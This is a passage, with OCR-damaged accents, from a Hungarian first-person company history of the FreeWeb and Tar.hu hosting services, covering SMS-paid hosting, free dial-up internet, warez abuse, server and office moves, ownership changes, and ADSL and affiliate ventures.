kovetkezményei. A joval utdnunk indult konkurens szolgaltatasok utolértek sét meg is eléztek minket.
Szerencsére 2003 marciusara megérkezett az i SMSWeb szerver is. Ugyanolyan, mint ami a FreeWeb
alatt mar bizonyitott. Mivel itt a tarhely bovitése egy sokkal dinamikusabb ¢és gyakoribb tevékenység,
mint a FreeWeb esetén, ehhez a szerverhez mar megrendeléskor kértiink egy kiilsé SCSI disk tombét.
Ennek kdszonhetden a géptestben 8, kiviil pedig 14 disken garazdalkodhattunk. Egy ilyen rendszer 2003
elején még elképesztéen komolynak szamitott, sokan csodéjara is jartak.
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"A FreeWeb rendszere fénykoraban

Az 1j szerver lizembeallitasaval egy idoben a harmadik mobil szolgaltaté is belatta, az emelt dijas SMS
szolgéaltatasbol nem érdemes kimaradni, igy méar mindhdrom cég tligyfelei élvezhették szolgaltatisainkat.

A szdmhaboru természetesen folytatddott, juniusban 2Gbyte-ra, augusztusban pedig 10Gbyte-ra ndveltiik
az indul6 tarhely méretét, a forgalom utdni névekményt pedig megduplaztuk. De ne szaladjunk ennyire
eldre az iddben, hiszen még 2002-ben is torténtek fontos dolgok a cég életében.



A betarcsazos internet reneszansza

Koszonhetdéen a szélessavi internet rohamos terjedésének, a betdrcsazos internet felhasznaldi tdbora
folyamatosan csokkent. Ennek kovetkeztében a kordbban jelentds behivd halozatot kiépitd cégek ott
alltak egy hatalmas kiépitett halozattal amit alig hasznal valaki. Meg nem sziintethették, mivel valamivel
ki kellett szolgalni a megmaradt ligyfeleket, a szabad kapacitast viszont nem igazédn tudtak kihasznalni.

Ekkor mar 1étezett a dijvisszatérités intézménye, melynek 1ényege, hogy a telefon szolgéltatd az internet
hivasok utan az iigyfeleik altal fizetett telefonkdltségbdl az internet szolgaltatdo felé egy minimalis
Osszeget tovabb utal. Ezt meglovagolva jott a gondolat, hogy az internet szolgaltatonk szabad kapacitasat
adjuk oda az internetezni vagyoknak ingyen, azaz a telefonkoltség ellenében. Hasonloval mar
probalkozott két cég is, egyik csddbejutott, masikat felvasaroltak de szolgéltatasuk nem volt orszagos
lefedettségli.

Szerencsére Otletlink meghallgatasra talalt a szolgaltatonknal és természetesen ugy, hogy ez neki is jo
legyen, 2002. augusztusaban elkezdtiik hirdetni a FreeWeb.hu freenet szolgéltatasat (az igen kellemetlen
lett volna, ha az adott szolgaltaté a sajat nevén nyujtja ezt, mivel akkor a maradék fizetds iigyfeliik is
otthagyta volna d6ket, hisz majdnem ugyanazt kaptak ingyen is, mint pénzért). Ugyan egy perc utan csak
par fillér jutott nekiink, &m az ingyen net igen csabitoé volt az emberek szamara, foként vidéken, ahol a
sz€lessavl internet még csak kevés helyen volt hozzaférhetd. Ennek koszonhetden tobb millid percet
toltottek el havonta a FreeWeb freenet felhasznaldi a neten amibdl jelentds plusz bevételiink szarmazott,
de az sms-hez hasonléan ez is egy elég lassan megérkezd pénz volt. Sajnos (ahogyan arra mar
kezdetekkor is szamitani lehetett, 2005-ben a telefon szolgaltatok modositottak a csatlakozasi feltételeket,
igy az ingyenes szolgaltatdsnak befellegzett, csupan vegetdcio szintjén maradt fenn. Ez a harom év
azonban nem volt hidbavald. Egyrészt valoban jelentds bevételeket eredményezett szamunkra, amit a
szolgéaltatasok fejlesztésére tudtunk kolteni masrészt, ami attételesen talan még fontosabb, hogy olyan
rétegek szadmara tettiikk elérhet6vé €s kiprobalhatova az internetet, akik errdl korabban csak almodoztak
vagy még azt sem. 1-1 gyengébb szamitdgép mar igen sok csalad szdmara elérhetd volt, ha mashogy nem,
hasznaltan, alkatrészekbdl 0sszerakva, de a havi 3-5 000 Ft eldfizetési dij, amit a szolgaltatok elkértek
egy telefonos internet hozzaférésért, mar nagyon megterheld volt. Ez éves szinten egy csaldd szdmara 40
— 60 000 Ft koltséget jelentett, ami az ilyen koriilmények kozott éloknek akar két havi keresetiik is
lehetett. Az ingyenes internet segitségével pedig este 10 utdn akar par Ft telefonszamla ellenében tudtak
internetezni ugy, hogy nem csupan a levelezésiiket érték el, hanem korlatlanul a teljes vilaghalét. Ugy
gondolom, ebbdl a tobb 10 000 internetez6bdl mara nem kevés olyan akad, aki ennek a lehetdségnek a
segitségével Iépett ki kornyezetébdl, jutott munkalehetdséghez, talalt baratokat, szerelmet, stb.

A szolgaltatas tizleti modelljének masik laba a regisztralt felhaszndlok szdmanak ndvelése volt.
Biztositottunk ugyan egy amolyan vendég kozzaférést (freeweb@freeweb.hu felhasznaloi névvel) dm
ezzel a hozzaféréssel némileg korlatozottak voltak a lehetéségek, mivel nem lehetett vele levelet kiildeni
hagyomanyos levelezd programok segitségével. Vagy webmaillel levelezett tehat az illetd, vagy
regisztralta magat a FreeWeb-en, hogy sajat felhasznaldi neve e-mail cime legyen, amivel mar korlatlanul
veheti igénybe levél kiildé (smtp) szolgaltatasunkat is. Késobb ezen felhasznaloknak elkiildhetjiik
hirleveleinket és megprobalhatjuk dket kiilonféle szolgaltatasok, termékek vasarldsara 6sztondzni.
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Az illegalis tartalom viragkora

Térjiink kicsit vissza az SMSWeb szolgaltatasra. Hamar rajott minden ingyen tarhely szolgaltato, hogy ez
egy miikodd dolog, ebbdl bevétele szarmazhat. Az egyetlen dolog, amivel nem szdmoltak, a szolgaltatas
koltség oldala. A két legnagyobb magyarorszagi szolgaltatd ugyanis, akik elészor indultak ezzel a
szolgaltatdssal (egyik ugye a freeweb.hu) olyan mértékben elhtiztak tarhely méret ¢és hardware
infrastruktura terén, hogy azzal senki nem tudott versenyezni. A bdvitések soran 2003 augusztusara,
valamivel tobb, mint egy évvel az indulds utdn mar 3.5Tbyte tarhely kapacitdssal rendelkezett a
szolgaltatas és a felhasznalok is fejenként 10Gbyte-ot kaptak.

Mivel a szerver arcédulajan, ami ezt képes volt kiszolgalni egy 8 szdmjegyli Osszeg szerepelt, tudtuk,
hogy az ujonnan induld jatékosok mire szamithatnak. Sokan megprobaltak hatalmas IDE winchesterekbdl
allo tombokkel leutanozni a szolgaltatast és 1 havi hozzaférést adni 160Ft-ért, de ezekkel mar nem is
foglalkoztunk sem mi, sem a masik nagy szolgéltatd. Tudtuk, hogy ezek nagyon hamar a sajat kardjukba
fognak délni. Ezzel szemben inkdbb emeltiik az arakat és csokkentettiik a hozzaférés idotartamot tgy,
hogy egyikiink se rombolja a piacot €s ne inditson felesleges konkurencia harcot. Ezzel mi ugy el is
voltunk egymas mellett és figyeltiik a tobbieket. A szolgaltatas fénykoraban valamivel tobb, mint 6 Tbyte
hattérkapacitas volt ehhez az SMSWebhez rendelve.

Amikor egy eléaddson egy igen neves disk alrendszereket értékesitd cég munkatarsaval beszélgettem és
megkérdeztem tdle, van-e valami olyan termékiik, ami képes 2 Tbyte-nal nagyobb tombdt egyben kezelni
és arrol 500-1000 Mbit / sec sebességgel adatot kiszolgalni elég értetleniil nézett ram. Szerencsére ott volt
az eldadason annak a cégnek az egyik vezetd munkatarsa, akitél a szervereket vasaroltuk és kozolte az
illetdvel, hogy én nem vagyok elmebeteg, én ezt tényleg komolyan kérdezem. Sajnos megoldast nem
tudtak ajanlani a problémara igy minden egyes tomb kiilon konyvtarba lett felmountolva és a tarhely
hasznalat fliggvényében pakolgattuk ide-oda a felhasznalokat.

Sajnalatos modon minden csoda hdrom napig tart, igy ennek is kozeledett a vége. A feltoltott tartalmat
jelentds része ugyanis szerzoi jogi védelem alatt allo film, zene, program volt. Egy torvényi kiskapunak
koszonhetden mi, mint szolgdltatd nem voltunk ezért feleldsségre vonhatok, amennyiben felszolitasra
tordltettiik, vagy toroltiik az adott tartalmat. Ezt a kiskaput felismerték viszont a valoéban ilyen tartalmakra
szakosodott ,warez” ftp- és webszerver lizemeltetok is és sorra bukkantak fel a tobb Tbyte
adattartalommal rendelkezd illegélis oldalak, melyek mogott minden esetben egy addig ismeretlen
smsweb jellegli szolgaltatas 4llt. Ha a szolgaltatot (aki ebben az esetben egy és ugyanaz volt, mint az
oldal készitdje) figyelmeztették, nem tett mast, csak atnevezte az oldalt, esetleg valami mas arculatot
tervezett neki és mar kiildte is ki a kdvetkezd hirlevelet az ij weblap cimével.

Ahogy az varhatd volt, a jogvédd szervezetek ettdl vérszemet kaptak és mindennaposan lettek az
oldalakat tordlteto felszolitasok, rendérségi megkeresések, stb. Ennek persze a hosszu tavi eredménye a
szolgéltatas halala lett. Vegetacio szintjén még most is létezik, de mar kiilon szerver sincs alatta, hanem
az adatok mentését végzo egyik szerver szolgalja ki azt a kevéske kérést, ami még beesik.

Elvi szinten gondolkodtunk egy olyan szolgaltatason, ahol mi egyfajta proxy szolgaltatist nyujtanank a
felhasznalok részére, amely a klasszikus internet szolgéltatok altal adott proxy szolgéltatas forditottja, a
dolog azonban egy jogi akadalyon elbukott. A kiszolgalt oldalba talalhaté linkeket méddositanunk kellett
volna ugy, hogy az a proxy szerveren keresztiil kérje le a tovabbi adatokat is, igy azonban mar nem lenne
érvényes a torvényi kiskapu, ami kimondja, hogy csak addig nem vagyok feleléségre vonhatd6 mint
tovabbitd szolgaltatd, amig a tartalmat nem modositom.



Szerver csere

Ahogyan azt korabban a FreeWeb és SMSWeb kapcsan mar elkezdtiik, szépen folyamatosan, ahogy
érkeztek be a pénzek az Osszes fontos szerverlinket lecseréltiik ugyanarra a markara. Ennek a
dontéslinknek késébb egy pozitiv és egy negativ kdvetkezménye lett. A negativ, hogy az SMSWEDb
szolgéltatds hanyatldsa utan az ebbdl szdrmazo bevételbdl semmi sem maradt, a pozitiv viszont, hogy a
szolgaltatds mikodése és virdgkora alatt sikeriilt az Osszes szervert markas és megbizhatd gépekre
cserélni. Ennek koszonhetden a korabbinal sokkal ritkdbban csipog a telefon péntek éjjel, hogy megallt
valamelyik szerver és a cég munkatarsainak nem azzal kell foglalkozni, hogy egyben tartsa azokat. Volt
olyan eset, amikor éppen a freeweb fOoldalat és egyéb jarulékos részét kiszolgald szerver helyett
megrendelt markas gépre vartunk, hogy a szerver hétféi napra volt beigérve, cserébe a szerver péntek este
allt le tigy, hogy leesett az alaplaprol a chipset hiitventillatora. Honnan lehet péntek este chipset hiitét
szerezni? A megoldas végiil egy régi 486-0s processzor hiitdje lett 45°-ban elforgatva gyorskotozovel az
alaplaphoz rogzitve. Ezzel szerencsére kibirta a hétvégét és hosszabb leallas nélkiil at tudtunk allni az qj
szerverre. Sajnos az ilyen problémak a hazilag szerelt barkdcs PC-kel mindennaposak voltak, amit mar
mindenki nagyon utalt, igy megvaltas volt, amikor az utols6 szerver is lecserélésre kertilt.



Uj iroda — bekoltozés a Victor Hugo utcaba

Az SMSWeb szolgaltatasunk kapcsan mar-mar beszéld viszonyba is keriiltem a legnagyobb konkurens
tarhely szolgdaltatdo embereivel, akik tettek egy feleldtlen javaslatot, amit kelld mérlegelés utan komolyan
is vettem. Ok szoltak ugyanis, hogy a Victor Hugo utcai irodahazba (ismertebb nevén BIX) van szabad
iroda. Kordbban mar szerettiink volna ide kdltézni, de soha egyetlen szabad iroda sem volt, annyira nagy
volt a kereslet a hely irdnt. Ez nem csoda hiszen ebben az épiiletben talalhatd a magyarorszagi internet
kozponti elosztd helye, a BIX (Budapest Internet eXchange). Azok, akik ebben az épiiletben bérelnek
irodat, par 10 vagy 100 méter optikai kabel segitségével gigabites hozzaféréshez juthatnak és nem kell az
optikai kabel hasznalatért, bérletéért fizetni. Ez kiilondsen fontossa valt szamunkra, mivel az SMSWeb
¢s a FreeWeb miatt mar nem fértiink bele abba a keretbe, amit a kordbbi internet szolgaltatonk
elfogadhat6 aron biztositani tudott szamunkra (300Mbit).

Sajat megtakaritott pénzemet is betéve a cégbe két honap alatt kialakitottuk 0j iroddnkat, melynek
kdzepén egy j szolgaltatashoz sziikséges kb. 25m’-es szerverterem is helyet kapott ahol elférhet 100-120
SZerver.

A BIX-re valo csatlakozdsnak sajnos volt egy madsik feltétele is, amit mi nem teljesitettiink (HIF
engedély) mivel nem voltunk és nem is nagyon akartunk a klasszikus értelembe vett internet szolgaltatok
lenni. (érdekesség, hogy a szerver hosting szolgéltatas a hif - mostani nhh — szerint nem tartozik ide) A
probléma megoldasaban egy BIX tag segitett, akinek volt még egy szabad lehetdsége a csatlakozasra, igy
azt biztositotta a mi szamunkra. Természetesen minden az O nevén futott, mi csupan élveztiik a munka
gyumolcsét. Hasonldan ez a cég oldotta meg a nemzetkdzi savszélesség igénylinket is igen kedvezd
feltételek mellett. Masik nagy problémank, hogy az irodahdz nem tudott szdmunkra elegendd (kb. 2x 30
kVA) ¢és redundans forrast biztositani. A megoldast korabbi szerver hosting szolgaltatonk adta sajat
forrasaibodl redunddnsan és mindjart sziinetmentes formaban, igy nem kellett sziinetmentes tapegységet se
venni.

Ezzel adott volt minden. Szép 11j iroda gyonyorien berendezve, egyedi recepcids pult, targyaldoba bor
kanapé, mindenkinek 0j butor, sajat szerverterem, sajat gigabites csatlakozéas, nemzetkdzi savszélesség
meg minden, ami szem szajnak ingere, ugyhogy 2003 novemberében at is koltoztettiink ide minden
szervert (kivétel persze azokat, melyek még a legelsd szolgaltatonal maradtak és soha nem is mozdultak
ki onnan) és természetesen mi is atkdltoztiink.



Csodaorszag helyett rémalom?

Miutan minden akadaly elharult, sikeriilt egy tényleg nagyon szép és kényelmes irodat sszehozni, ahova
mindenki szivesen jott. Ahogy lehetdségeink engedték, elkezdtiik athozni a sajat szervereinket a sajat
szervertermiinkbe, ami valljuk be, egy kozel fél tonnas szerkezetnél nem egyszeri mutatvany.
Hozzéavetdleg ennyit nyomott akkoriban az a RACK, amit megtoltottiink. Szerencsére a cég, akitdl
vasaroltuk a szervereket vallalta, hogy leallitja a gépeket, szétszedi €s atszallitja az 0j helyre az egészet,
majd ismét Osszeszereli és elinditja Oket. Meglepd, de minden komplikacié nélkiil sikeriilt is ez a
mutatvany.

A koltozés mind szerver, mind iroda tekintetben lezarult. Elkezdtiink gézerdvel dolgozni, aminek meg is
lett az eredménye. Sorra jottek a szerverek és egyéb szolgaltatasunkra az tigyfelek, szoval elkezdett
szarnyalni a cég. Ez a ndvekedési iitem sokaknak szemet szart. Valoszintileg azok is bantak mar, akik ide
csébitottak minket.

Ahogy egyre tobb 1d6t toltottiink el uj helylinkon, ugy dertiltek ki egyre érdekesebb és meglepdbb dolgok.
A megszokott békés, nyugodt kornyezetbdl belecsoppentiink egy masik vilagba. Itt egy kicsit mas
szabalyok szerint jatszottak a bérlok. Az egyik internet szolgéltatonak az ,.egerek” elragtdk az optikai
kabelét, a masiknak egyszer csak felmondta a bérleti szerz6dését az irodahaz, a harmadiknal tlizvédelmi
ellenérzést tartottak és hasonlok. Elég hamar felismertiikk, hogy masok csatdjan mi kicsik csak
veszithetiink, igy a tulélés érdekében ajanlatosnak tlint az er6sebb mellé szegddni. Ezen dontésiinket egy
masik tény is jelentdsen felgyorsitotta. Az irodahazban se szabad iroda, sem pedig elegendd dram nincs
ahhoz, hogy az id6kozben csordulasig megtelt szervertermiinket athelyezziik, vagy egy masikat nyissunk.
A teremben mar nem csak a hely volt kevés, de a klimatizalast se ekkora hdtermelésre terveztiik. A
korabban redundénsra elképzelt 2x6.8KW nagy teljesitményt kliméak egyiittesen miikodve sem tudtak 23-
25fok ala hiiteni a termet nyaron, ami elég kritikus volt, féleg amikor valamilyen miiszaki hiba okan az
egyik ledllt. Egyre gyakrabban kellett panikszertien kolcsonkérni mobil klimat, hasznélni ventillatorokat
¢s mas hasonlé megoldést annak érdekében, hogy ne 30 fok felett legyen a teremben az atlaghdmérséklet.

A valasztott megoldas sok tekintetbdl ésszerli és sziikségszerii dontésnek tlint. (vagy legaldbbis
megprobalom magamnak ezt bemagyardzni) Adott egy szerver hosting piac, amin van 1-2 nagy illetve
sok sok kis cég, mint szerepld. Mi, mint Ujonnan indult szolgaltatd a piac kozepét céloztuk meg, azaz a
kicsikkel is és a nagyokkal is versenyezniink kellett, innen is, onnan is vettiink el iigyfeleket. Ebbol
adddodan természetesen nem voltunk tul népszertiek. Ezzel parhuzamosan a nagyok ugyanugy ,,harcoltak”
a kicsikkel, mint mi veliik. Eldnyiik, hogy megfeleld hattér infrastrukturaval rendelkeztek, hatranyuk a
rugalmatlansaguk, ami a nagyobb méretli szervezeti felépités kovetkezménye. A megoldas tehét adott,
Osszealltunk a kordbbi internet szolgaltatonkkal, akikkel egyébként kezdetek kezdetén elindultunk. Ennek
koszonhetden megoldodtak a szerver hely problémdaink minden jarulékos dologgal egyiitt, valamint az
idékozben szintén sziikdsnek bizonyult 1 gbit sdvszélesség problémank is megoldddott.



A kedvezdébb targyaldsi pozicid elérése érdekében igyekeztem egy kicsit atrendezni a piaci
erdviszonyokat az ingyenes tarhely szolgaltatoi piacon. Tettem ezt oly mddon, hogy megprobaltam
ellehetetleniteni a tar.hu szolgaltatdst és megprobaltam megszerezni az x3.hu-t. Ezzel egy nagy
kivételével szinte az Osszes jelentOsebb szolgéltatds egy kézbe keriilne amolyan monopol helyzetet
kialakitva. Utobbi aranylag egyszerii volt, minimalis pénzeszkoz raforditasaval illetve par gép ingyenes
elhelyezésével a szervertermiinkben mar a mienk is lett. Rdadasul a pénzbeli részének is csak egy részét
kellett kifizetni, mivel a szolgéltatotol vald eljovetele neki komoly Osszegekbe keriilt volna, ezt mi
atvallaltuk. Természetesen ugy, hogy tudtuk, nekiink nem kell ezt a pénzt kifizetni, mivel épp onnan jon
el, akivel az adasvételrdl tlizleteliink. Késobb ez a dontésiink teljesen feleslegesnek bizonyult, mivel nem
jutott energidnk az x3 rendszerének tanulmanyozaséara és Gjrairasara, igy a mai napig abban a formaban
vegetal, ahogy azt megkaptuk. A tar egy kicsit érdekesebb torténet volt. Itt kiilonféle belsd viszalyok
kapcsan kirugtak azt az embert, aki legjobban értett a rendszerhez és napi szinten foglalkozott vele. A két
tagl csapat masik tagjat pedig igyekeztem elcsabitani onnan és elérni, hogy atj6jjon hozzank dolgozni.
Mivel a két cég dolgozdi szamara biztositott munkakoriilmények, munkahelyi 1égkor és egyéb emberi
tényezod jelentds eltérést mutatott egymastol, nem volt nehéz dolgom. Ezzel a tar.hu projekt gyakorlatilag
ember nélkiil maradt, senki sem foglalkozott vele. A szolgéltatdnak nem nagyon volt més valasztdsa, mint
az, hogy értékesiti.



Tulajdonosi valtozasok

Papirforma szerint az SWI-nek még mindig harom tulajdonosa volt. A Német befektetd, a programozo,
aki az els6 freewebet csinalta illetve én. Tekintettel arra, hogy a Német cég felszdmolas alatt 4llt, némi
rabeszélés utan az O résziiket sikeriilt névértéken visszavéasarolni. A gond a programozdval volt inkébb,
mivel 6t egy kicsit nehezebb volt meggydzni rdla, hogy a munkdhoz vald hozzaallasa (vagy inkabb hozza
nem allasa) indokoltta teszi, hogy a tulajdonrészétdl értéken alul megvaljon. Szerencsére aranylag rovid
id6 alatt ez is sikeriilt, igy minden akadaly elharult a tulajdonosi szerkezet atalakitasa elél. En megvettem
a befektetd tulajdonrészét, az internet szolgaltatd megvette a programozo részét (25%), majd egy
tOkeemelés segitségével 51%-ra novelte részesedését a cégben.

Ezen tranzakcidonak tobb kovetkezménye is lett. Egyrészt egy kézbe keriilt 51%, amirél mar akkor is
sejtettem, hogy veszélyes, de biztam benne, hogy aggodalmaim alaptalanok. Friss toke keriilt a cégbe,
amit 1) fejlesztésekre, boviilésre tudtunk forditani illetve egy nagy konkurenciaval kevesebb lett, igy
sokkal hatékonyabban tudtuk felvenni a versenyt a megcélzott piacon mozgo6 konkurens szolgaltatokkal.

A deal tovabbi érdekessége, hogy a vételar egy részét a korabban embereitdl megszabaditott TAR.HU
ingyenes web- és képtar szolgaltatassal egyenlitették ki, ami a fénykordhoz képest igencsak haldoklott, de
a lehetdség még benne volt.

Az egyiittélés elonye szamunkra leginkabb a hattér infrastruktara stabil megléte volt, azaz a korszer( és
biztonsadgos szerver hosting célokra kialakitott ,,szerver hotel”, a nagy savszélesség, elegendd klima,
aram, stb. amik szamunkra biztositottdk az eddig kialakitott szolgéltatasok dinamikus fejlodését.
Mindezek mellett a koltségeket is csokkenteni tudtuk azzal, hogy a szerver hosting iligyfélszolgalatat
atvették toliink.
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FreeWeb mellé Tar.hu

Az egyiittmiikodés egyik nagy hozomanya a Tér volt. Egykoron szebb napokat latott szolgaltatas elébb
egy internetes 0jsdghoz keriilt, majd innen ahhoz az internet szolgaltatohoz, akit6l mi megkaptuk. Sajnos
mindkét fél részérdl elmondhatd volt, hogy inkabb kivenni szerettek volna beldle, mint hozzatenni, azaz a
szinvonala, nézettsége, mindsége folyamatosan zuhant. A tarhely a figyelem hidnyaban megtelt illegalis
anyagokkal, ezek folyamatos letoltése gyakorlatilag megbénitotta a normalis kiszolgalast, a szervereket
csak valami csoda tartotta egybe, szoval csoda, hogy egyaltaldn még miikodott amikor hozzank kertilt.

gy nézett ki a tar.hu amikor hiegkaptuk

Rovid mérlegelés utan ugy dontottiink, hogy a szolgaltatasbol a felhasznalokon és azok adatain kiviil
semmit sem tartunk meg. Sem a szervereket, sem a programot, sem az arculatot. 2004. aprilis koriil,
ahogy megkaptuk a rendszert, elkezdtik a fejlesztést. Ehhez a munkidhoz azonban nem voltunk
elegendden, kellett még egy programozo. Mi sem egyszeriibb ennél, feladtunk par hirdetést, hogy
programozoét keresiink. Csakhamar meg is taldltuk a megfeleld embert, akit torténetesen ismét attol a
cégtdl csabitottuk el, aki immar tobbségi tulajdonosunk volt. Fél éves munka utdn novemberre késziilt el
az 0j Tar. Szebb, jobb, gyorsabb, stb.
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Az 4j tar.hu arculata

Sajnos egy dolgot figyelmen kiviil hagytunk. Mégpedig azt, hogy a felhasznaldk élni is fognak ezzel a
lehetéséggel. A Tar lizleti modellje még nem volt annyira kiforrott, mint a FreeWeb-¢, igy bevételei a
digitalis képkidolgozasbol szarmazo jutalékra és a véletlenszerlien betévedd hirdetkre korlatozodott. A
felhasznalok pedig csak toltotték, toltottek ¢és toltottek fel a képeiket a szerverre, amit emiatt
folyamatosan bdviteni kellett. Sajnos 1db olyan disk tdmb, ami a Tar és a tobbi szerver alatt is volt,
iiresen 6-800¢ Ft koriil van. Erre az 0sszegre jon még ra az egyenként 70-80e Ft art 146GByte-os scsi
disk, amibdl 14db fér bele. Sajnos ez az Osszeg sokkal de sokkal tobb, mint amit a fentebb emlitett
szolgaltatdsok bevételei megtermeltek. Hibas volt mind az iizleti, mind pedig a szolgaltatdsi modell.
Utobbi leginkabb ott, hogy lehetdséget biztositott a felhasznaloi tartalom passziv tarolasara. Ertem ezalatt
a leginkabb akcids képelohivasok idején feltoltott gigantikus mennyiségli fotét, mely az el6hivast
kovetden is a szerveren maradt, de annak nagy részét soha senki meg nem nézte, az adott oldalnak
egyetlen latogatdja se volt utina, stb. Igy gyakorlatilag elpazaroltak az eréforrasokat és masok eldl
foglaltak a tarhelyet. A méreteket tekintve ez kozel 12 millié képet és 5.4 terabyte adattartalmat jelentett.
Erdekességképpen a 2004 decemberi allapot, ami nem sokkal a szolgaltatas Gjraélesztése utan késziilt,
még csupan valamivel tobb, mint 2 millié képet tartalmazott, amit 1999 és 2004 kozotti tobb, mint 4 év
alatt ért el. Ehhez képest mi 1 év alatt szereztiink a meglévo 2 millié képhez még 10 milliot.



Az 0j Tér kidolgozasa papiron mar elkezdddott, amikor ez a tdrténet véget ért, megvalositva viszont
valdsziniileg sosem lesz. A tarhelyek méretét drasztikusan csokkenteni szerettiilk volna (1Gbyte-rol kb.
100Mbyte-ra) agy, hogy elfogadhatd Gsszeg befizetése mellett ez bévithetd legyen. fgy valdsziniileg
sokkal kevesebb ,,ottfelejtett” kép foglalta volna a tarhely kapacitast. Ezenfeliil azok részére, akik csupan
el6hivni szeretnék volna képeiket és nem kivannak galériat létrehozni, fejlesztettiink volna egy kiilon erre
a célra alkalmas, konnyen kezelhetd feliiletet, mely az eléhivott képeket elkészités utdn azonnal letorli és
nem Orzi azokat az idok végezetéig. Komoly atalakitasra szorul a képfeltoltd, galériaba rendez6 feliilet is,
mely teljes ujragondolas utan sokkal érthetbb, logikusabb format kapott volna az ) webes technologidk
felhasznalasaval (drag & drop, ajax, stb.). Elgondolasunkban szerepelt tovabba egy olyan beilleszthetd
kod biztositasa a felhasznalok részére, amivel mas weboldalakba, forumokba, stb. be tudnak illeszteni 1-1
képet vagy egy egész galériat. Természetesen gy, hogy ne csak az adatletdltés terheit élvezziik, hanem
valamilyen forméban reklamfeliilettel rendelkezziink ezen a beillesztett oldal részleten. Szintén egy
fontos, de a jelenlegi tar-nal teljes mértékben kihasznalatlan forras az internetes keresd altal hozott, azaz
jelenleg nem hozott latogatomennyiség is, amihez csupdn annyi kellene, hogy az egyes képekhez
kulcsszavakat tudjanak fiizni a tulajdonosok vagy a latogatok, amit természetesen a keres6k megtalalnak
illetve a latogatok is kereshetnek koztiik. Ezen Ujitasok, fejlesztések bevezetésével a Tar egy sokkal
hasznalhatobb és hasznosabb, nem utolsé sorban rentabilis szolgéltatassa lenne alakithato ugy, hogy az
elért internetezOk szama is jelentds mértékben névekedne.
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ADSL szolgaltatas

Egyik nagy tévedésem az ADSL szolgaltatas bevezetése volt. Mint a tobbségi tulajdonos viszonteladdja
elkezdtiink sajat markaneves (TrueNet) ADSL szolgaltatast hirdetni. Mivel a kapott viszonteladoi arak
miatt arversenybe nem tudtunk menni a konkurens szolgaltatokkal, igy olyan szolgaltatasokat kellett
kitalalnunk, amik magasabb ar mellett is versenyképessé teszi azt. Ezt a piaci rést a fix IP cimet kivalto,
szolgaltatdi oldalon ilizemeld dinamikus DNS szolgaltatdsban taldltuk meg. Ennek lényege, hogy az
ugyfél az ADSL elérés mellé ajandékba kap egy domain név regisztraciot, mely felcsatlakozas utan par
perc mulva az internet végpontra, azaz a sajat otthoni szamitogépére mutat. Ez a szolgaltatas tetszett is az
embereknek. Hamar az ,anyacégiink” legnagyobb viszonteladd partnerévé valtunk, ami persze nem
jelentett semmi kedvezményt, csupan jelentés mennyiségl ligyfelet. Ez eddig akar egy sikertorténet is
lehetne, de mégsem. Mivel az egyes csomagokon megkdzelitéleg 1000 Ft hasznunk volt, ha 10 tigyfélbol
akar csak 1 is nem fizetett, elbuktuk a teljes nyereségiinket. Mivel a Telekom szolgaltatdé az internet
szolgaltatokkal olyan szerzddést kot, hogy 1 év hiiségnyilatkozat kotelezd, igy az elsé évben a
szolgaltatast ha akarjuk sem tudjuk felmondani, azaz nekiink mindenképp ki kellett fizetni annak dijat,
akar fizet az iigyfél, akar nem. Masik probléma a nem fizetd ligyfelekkel, hogy a szolgéltatas dija olyan
alacsony (8-10e Ft) hogy az szinte behajthatatlan. A behajtdo cégek 1-2 telefonhivasnal, levél irasnal
tobbet nem foglalkoznak ilyen Osszeggel. Ennek oromére az ADSL iizletdag keményen termelte a
veszteséget. Volt olyan ligyfeliink, aki egy nyari 3 honapig ingyenes akcio keretében rendelt 3 Mbit-es
iizleti ADSL szolgéltatast (akkor ez volt a legdragabb), majd a 3 honap letelte utan egy fillért nem volt
hajland6 fizetni. Kapott tobb felszolitast téliink is, majd késobb egy megbizott ligyvédtol, de semmi.
Egyszer csak jott egy levél egy igen ismert, médiaban gyakran hallhato sztarligyvédi irodatol, hogy
azonnal szlintessiink meg minden kommunikaciét az idds kisnyugdijas tigyfelével, mivel mi
megtévesztettiik 6t, O nem is a mi iigyfeliink hanem egy masik nagy magyar szolgaltatoé és én személy
szerint haldlosan megfenyegettem 6t. Azért kivancsi lettem volna, milyen az az id6s, kisnyugdijas ember,
aki 3 Mbites iizleti csomagot rendel és a kisnyugdijabol telik arra az ligyvédi iroddra, aki a levelet irta.
Mondanom sem kell, hogy a pénzbdl semmit se lattunk.
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Affiliate rendszerek kiépitése

Mind a FreeWeb, mind a Tar bevételei leginkabb a kapcsolt szolgaltatasok értékesitésébol adddott. A
reklam feliileteken tobbnyire ezen szolgaltatasok hirdetései illetve barter reklamok futottak. Néha — néha
esett csupan be fizet6s hirdetd. Mivel a sajat szolgaltatasok hirdetése hatdsosnak bizonyult, mi biztosak
voltunk benne, hogy a feliilet igenis értékes és alkalmas a reklamozasra, csupan az ligynokségeket volt
nehéz errél meggydzni. Volt viszont tobb olyan cég, akik sajat termékiik értékesitéséhez kerestek affiliate
partnereket. A konstrukcid egyszerli, azon ligyfelek utan, akik a mi rekldmunk hatdséra koltotték el
pénziiket az adott cégnél, jutalékot fizet résziikre az értékesitd cég. Ez az Gsszeg a teljes vételarnak
csupan par szazaléka, de mégis tobb a semminél. Ha pedig sok van beldle akkor sok kicsi sokra megy. Az
egyiittmiikddések mésik valfaja amikor a latogatok utan kapunk meghatérozott osszeget. igy alakult ki az
autdégumi, utazas, biztositas, képligynok, operator logo, csengdhang oldalunk, mely mindegyike esetén
egy partnercég végezte a szolgaltatast, mi csupan a latogatokat tereltiik abba az iranyba kiilonféle webes
illetve e-mail reklamokkal.

Ez az tizleti modell 1-2 termék kivételével igen hatékonynak bizonyult, igyhogy a jovdébeni tervek kozott
ezen partneri kor bovitése is szerepelt. A dolog érdekessége, hogy az internetezéket sokan ,.kockanak”
tartjak és elképzelhetdnek sem tartjdk, hogy a szamitdégépen kiviil mas is érdekli dket. Ennek ellenére
egyszer egy nyereményjatékunk kapcsan igen érdekes meglepetés ért minket. A felkinalt nyeremények
kozott volt notebook, hangfal, webtarhely €s volt buvarszivattyt, flinyir6 és hasonlo. A jaték igen komoly
reklamot kapott a résziinkrél, melyben a megnyerheté termékeket is megjelenitettiik és természetesen
azon cégeket is, akiknek az adott termék koszonhetd. A kampany végére az a dobbenetes statisztika allt
eld, hogy a buvarszivattyl meg a flinyir6 sokkal de sokkal tobbeket érdekelt, mint egy igen komoly
laptop. Ez szdmomra igen tanulsagos volt.



Altavizsla ajraélesztése

Az altavizsla név az Origo portal keresdjeként lett ismert, am leleményes emberek létrehoztak egy
